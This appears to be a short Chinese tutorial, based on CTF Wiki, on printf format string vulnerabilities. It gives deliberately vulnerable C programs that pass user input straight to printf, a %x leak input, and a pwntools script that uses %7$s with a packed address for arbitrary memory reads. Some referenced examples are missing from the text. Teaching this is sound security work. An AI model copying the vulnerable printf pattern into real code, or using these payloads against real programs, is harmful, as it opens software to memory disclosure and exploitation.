参考:CTFwiki
0x1 原理
printf等格式化输入输出的语句,在缺少某些变量时,会出现的错误。
当输出语句为printf(“color %s,age: %d,s:%4.2lf”,“red”,12,3.14)时,会对应输出相应的内容,
但是如果没有输入对应的数值,printf语句就会因为没有相应的参数输出而去解析栈上存储格式化字符串地址上面的三个变量,并分别将其解析为
- 对应的字符串
- 对应的整形值
- 对应的浮点数的值
对于2,3来说倒还无妨,但是对于对于1来说,如果提供了一个不可访问地址,比如0,那么程序就会因此而崩溃。
例如,正常的程序是这样的
你输入什么,他会原样输出什么。
但有人为了方便,会这样写,
在正常输入的时候,他是没有问题的,但是却产生了一个非常严重的错误。
一般来说,一个函数的参数个数是固定的,需要多少就从内存中读取多少变量,但对于printf这类可变参数的函数,他的函数参数数目是不固定的,这就让一切变得模糊起来。所以printf需要传入format参数来指定需要的参数,但由于偷懒和疏忽,将输入格式化字符的权限交给了用户,漏洞就这么产生了。
示例程序:
#include <stdio.h>
int main(void)
{
char a[100];
scanf("%s",a);
printf(a);
return 0;
}
输入
AAAA%x%x%x%x%x%x%x
这样就会将后面的信息泄露了,通过不断的取变量操作,最终我们就能读取到程序的每一个位置。
0x 2 利用
实现任意地址读
任意地址读我们需要用到printf格式化字符串的另外一个特性,”$“操作符。
这个操作符可以输出指定位置的参数。
示例程序:
#include <stdio.h>
int main(void)
{
char str[100];
scanf("%s",str);
printf(str);
return 0;
}
首先测偏移量,
所以,参数的偏移量就是6,
然后我们用pwntools编写如下脚本
from pwn import *
context.log_level = 'debug'
cn = process('str')
cn.sendline(p32(0x08048000)+"%6$s")
#cn.sendline("%7$s"+p32(0x08048000))
print cn.recv()
他会报错,因为我们想要读取的地址是0x08048000,根据little-endian,所以我们发送过去的数据包的第一字节是地址的最后一字节,即0x00,所以发送失败。我们可以对payload做如下调整
cn.sendline("%7$s"+p32(0x08048000))
这样就可以了。